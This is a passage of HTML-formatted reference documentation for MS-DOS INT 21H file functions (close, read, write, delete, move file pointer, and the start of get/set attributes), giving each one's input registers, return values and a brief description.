<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 3EH </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File handle of file to close</span></div>
</td></tr>
<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: middle;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs closing the file </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code in the event of an error</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.7pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This closes a file opened by Function 3DH, simply by passing the file handle to DOS.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.55pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 3FH: Read from a File</span></h3>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 0.25pt; margin-left: 53.85pt; margin-right: 65.45pt; margin-top: 0pt; text-indent: -54.6pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 3FH </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File handle </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of bytes to read </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to buffer to put file data in</span></div>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 13.75pt; margin-left: 53.85pt; margin-right: 44.9pt; margin-top: 0pt; text-indent: -54.6pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of bytes read, if read is successful </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code in the event of an error</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 21.55pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 3F reads </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> bytes from the file referenced by handle </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> into the buffer </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The data is read from the file starting at the current file pointer. The file pointer is initialized to zero when the file is opened, and updated every time a read or write is performed.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 40H: Write to a File</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="275"></col></colgroup><tbody>
<tr style="height: 67px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2049999999999998; margin-bottom: 0pt; margin-right: 140.75pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 40H </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File handle </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Number of bytes to write </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Pointer to buffer to get file data from</span></div>
</td></tr>
<tr style="height: 52px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of bytes written, if write is successful </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code in the event of an error</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.7pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 40H writes </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> bytes to the file referenced by handle </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> from the buffer </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx.</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> The data is written to the file starting at the current file pointer.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 41H: Delete File</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="285"></col></colgroup><tbody>
<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 41H </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to ASCIIZ string of path/file to delete</span></div>
</td></tr>
<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: middle;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Error code in the event of an error</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 32.35pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function deletes a file from disk, as specified by the path and file name in the null terminated string at</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 42H: Move File Pointer</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 42H </span></div>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 12.65pt; margin-left: 54.15pt; margin-right: 50.6pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Method of moving the pointer </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File handle </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Distance to move the pointer, in bytes</span></div>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 13.7pt; margin-left: 53.85pt; margin-right: 66.5pt; margin-top: 0pt; text-indent: -54.6pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if there is an error </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code if there is an error </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx:ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = New file pointer value, if no error</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.7pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 42H moves the file pointer in preparation for a read or write operation. The number in </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is a 32 bit unsigned integer. The methods of moving the pointer are as follows: </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=0 moves the pointer relative to the beginning of the file, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=1 moves the pointer relative to the current location, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=2 moves the pointer relative to the end of the file.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 43H: Get and Set File Attributes</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="237"></col></colgroup><tbody>
<tr style="height: 67px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 43H </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
